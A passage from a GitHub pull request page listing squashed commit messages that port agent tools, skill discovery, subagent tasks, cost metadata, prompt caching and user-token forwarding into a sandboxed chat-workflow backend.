instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)
Completes the open-agents tool surface. The agent now has all 11 tools.
**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.
**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.
The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
executor/explorer/design all explicitly omit task too; subagents
are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
open-agents subagent curation; subagents run autonomously, don't
plan from scratch, don't make web calls, don't load further skills)
AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.
buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).
Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.
Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(task-tool): provide non-empty subagent prompt
The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."
Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)
Address PR review feedback:
- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
(one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
model: LanguageModel / subagentModel?: LanguageModel. api can't follow
that exact shape because agentContext is part of a durable Vercel
Workflow input and LanguageModel objects aren't JSON-serializable.
Instead of inventing modelId on AgentContext, hardcode a default
subagent model id in taskTool. A subagentModelId override field can
be added if/when a real consumer needs it.
Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent): align AgentContext + model resolution with open-agents
Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):
- AgentContext gains `model: LanguageModel` (required) and
`subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
for the workflow input shape, since LanguageModel instances aren't
JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
per step and merges it into experimental_context — same pattern as
open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
mirror open-agents' utility functions: getSubagentModel returns
`ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
getSubagentModel(experimental_context, "task") instead — subagent
now defaults to the same model the parent is running.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)
* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)
First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.
New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
open-agents' gateway-metadata.ts, parses gateway-reported per-step
cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
stateful factory returning a fresh callback per turn; accumulates
usage + cost across finish-step parts.
Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).
Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage
Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:
- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
in AgentMessageMetadata)
Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
@ai-sdk/mcp: all bumped to latest stable
The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
directly)
Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
(now returns Promise<ModelMessage[]>)
Tests: 3106/3106 pass; production typecheck clean; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)
Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:
- An initial "Subagent · 0 tools · 0 tokens" card with stable
startedAt timestamp
- A live `pending: {name, input}` indicator for each tool-call
- Accumulated `usage` after each finish-step
- A final `{final: ModelMessage[], ...}` chunk containing the full
subagent transcript for expandable rendering
`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.
New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
addLanguageModelUsage to handle undefined inputs without
introducing zero-tokens placeholders.
Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.
Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7) (#597)
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (Bundle A.7)
Third open-agents → api cutover bundle. The handler hardcoded
`workingDirectory: DEFAULT_WORKING_DIRECTORY` and never set
`currentBranch`, so the agent had no environment info in its system
prompt and had to run `pwd` / `git branch` on every turn.
Production verification (today, before this fix):
agent: "My system prompt does not contain working directory or
branch information."
After this fix the agent receives an Environment section + Current
branch line + cloud-sandbox checkpointing block — same shape as
open-agents (sandbox.recoupable.com) emits.
Changes:
- New `lib/chat/buildAgentSystemPrompt.ts` (SRP) — assembles
environment section → Current branch → cloud-sandbox checkpointing
→ custom instructions, all conditional on inputs. Mirrors
open-agents' `buildSystemPrompt` (packages/agent/system-prompt.ts).
- New `lib/chat/cloudSandboxInstructions.ts` (SRP) — ports
open-agents' `CLOUD_SANDBOX_INSTRUCTIONS` block with `{branch}`
placeholder substitution.
- `handleChatWorkflowStream`: connect the sandbox once for both skill
discovery AND cwd/branch reading, then thread real values into
`AgentContext.sandbox.workingDirectory` + `.currentBranch`. On
connect failure, fall back to DEFAULT_WORKING_DIRECTORY (preserves
today's behavior; tools surface real errors later when they
reconnect).
- `runAgentStep`: build the system prompt via
`buildAgentSystemPrompt({cwd, currentBranch, customInstructions})`
instead of using the static `agentCustomInstructions` directly.
Scope reduced from the original "A.7+9" bundle: dropped contextLimit
plumbing because it's a client-side display concern in open-agents,
not server-side model routing (verified via grep — open-agents'
server never reads context.contextLimit either).
Tests: 7 new (6 buildAgentSystemPrompt + 1 runAgentStep wiring);
full suite 3121/3121 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore(chat-workflow): drop currentBranch handling from system prompt
Per direction: branch is always `main` (the default branch) in api's
deployment topology, so the per-branch `Current branch: <name>` line
and cloud-sandbox checkpointing block don't add information today.
Strip the templating to keep the system prompt focused on what's
load-bearing (the Environment section indicating workspace-relative
paths).
- Delete `lib/chat/cloudSandboxInstructions.ts` (was a port of
open-agents' CLOUD_SANDBOX_INSTRUCTIONS, only useful with a real
per-session branch)
- Drop `currentBranch` from `buildAgentSystemPrompt` options +
rendering
- Stop reading `sandbox.currentBranch` in handleChatWorkflowStream
(the field stays on AgentContext.sandbox for type completeness;
also consumed by createSandboxHandler unchanged)
- Remove branch-related test cases
Can be re-added later if/when meaningful per-session branches (e.g.
xx/abcdef12 generated branches) land.
Tests: 3119/3119 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): drop stale currentBranch arg from buildAgentSystemPrompt call
Build failure on bf1e245 — runAgentStep was still passing
`currentBranch: input.agentContext.sandbox.currentBranch` after
buildAgentSystemPrompt's option was removed. Stripping it.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): Anthropic prompt cache control (Bundle A.6) (#599)
Fourth open-agents → api cutover bundle. runAgentStep was sending the
same system prompt + tool definitions on every turn as fresh input,
even though Anthropic prompt caching can shave 90% off subsequent
input cost. Production traces showed `cacheReadTokens: 0` on every
api turn, while open-agents shows cacheRead matching cacheWrite from
the prior turn — i.e. open-agents reuses the cached prefix.
Changes (SRP — one function per file):
- `lib/agent/contextManagement/isAnthropicModel.ts` — predicate
port of open-agents'
`packages/agent/context-management/cache-control.ts:5`.
- `lib/agent/contextManagement/addCacheControlToTools.ts` — marks
the LAST tool with `cacheControl: { type: "ephemeral" }`. Last-only
conserves Anthropic's 4-breakpoint limit.
- `lib/agent/contextManagement/addCacheControlToMessages.ts` —
marks the LAST message with `cacheControl` on every step, per
Anthropic's "mark the final block of the final message" guidance.
`runAgentStep` now:
- Wraps the tool set via `addCacheControlToTools(...)` before passing
to streamText (static — set once per step).
- Adds a `prepareStep` callback that wraps `messages` via
`addCacheControlToMessages(...)` on every internal model call.
Production behavior reproducer (Haiku 4.5, identical 2-turn prompt
to both backends):
api prod (broken): turn1 cacheWrite=0 cacheRead=0 cost=$0.005952
turn2 cacheWrite=0 cacheRead=0 cost=$0.005959
→ flat cost; full input billed every turn.
open-agents prod: turn1 cacheWrite=10966 cacheRead=0
turn2 cacheWrite=12 cacheRead=10966 cost drops 12x
→ near-full prefix re-read from cache on turn 2.
After this PR, api should match open-agents' caching curve.
Tests: 19 new (7 isAnthropicModel + 5 addCacheControlToTools + 5
addCacheControlToMessages + 2 runAgentStep wiring assertions); full
suite 3138/3138 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): forward Privy JWT as RECOUP_ACCESS_TOKEN (Bundle A.4) (#601)
Fifth and final open-agents → api cutover bundle. The chat UI sends a
short-lived Privy JWT in the workflow request body as
`recoupAccessToken`. Today api silently strips it via Zod's default
`.strip()` mode and never plumbs it into the sandbox env, so the
`recoup-api` skill's curl examples can't authenticate as the user.
Production reproducer (today, before this fix):
api prod: recoup-api skill loads. curl returns
"RECOUP_ACCESS_TOKEN is not set" → 401.
Agent: "you need to sign in."
open-agents prod: recoup-api skill loads. curl returns HTTP 200
with the user's account_id.
Plumbing (all three layers TDD red → green):
- lib/chat/validateChatWorkflow.ts — accept
`recoupAccessToken: z.string().min(1).max(8192).optional()` in the
body schema. Open-agents-shape compatible.
- lib/agent/tools/AgentContext.ts — add `recoupAccessToken?: string`
field. Mirrors open-agents'
`packages/agent/types.ts:29`.
- lib/chat/handleChatWorkflowStream.ts — conditionally spread the
token into `agentContext` when validator surfaced it.
- lib/agent/tools/buildRecoupExecEnv.ts — inject
`RECOUP_ACCESS_TOKEN` into the sandbox exec env when the field is
set. The recoup-api skill's curl examples reference this env var.
Security note: only forward the token when the caller sent it in the
body (chat UI path). x-api-key callers don't set this field, so their
long-lived `recoup_sk_…` key is never exfiltratable from the sandbox
env. Maintained from the prior code comment.
Tests: 5 new (3 buildRecoupExecEnv + 1 validator + 1 handler);
plus 1 handler omit-when-undefined assertion. Full suite 3144/3144
pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

@sweetmantech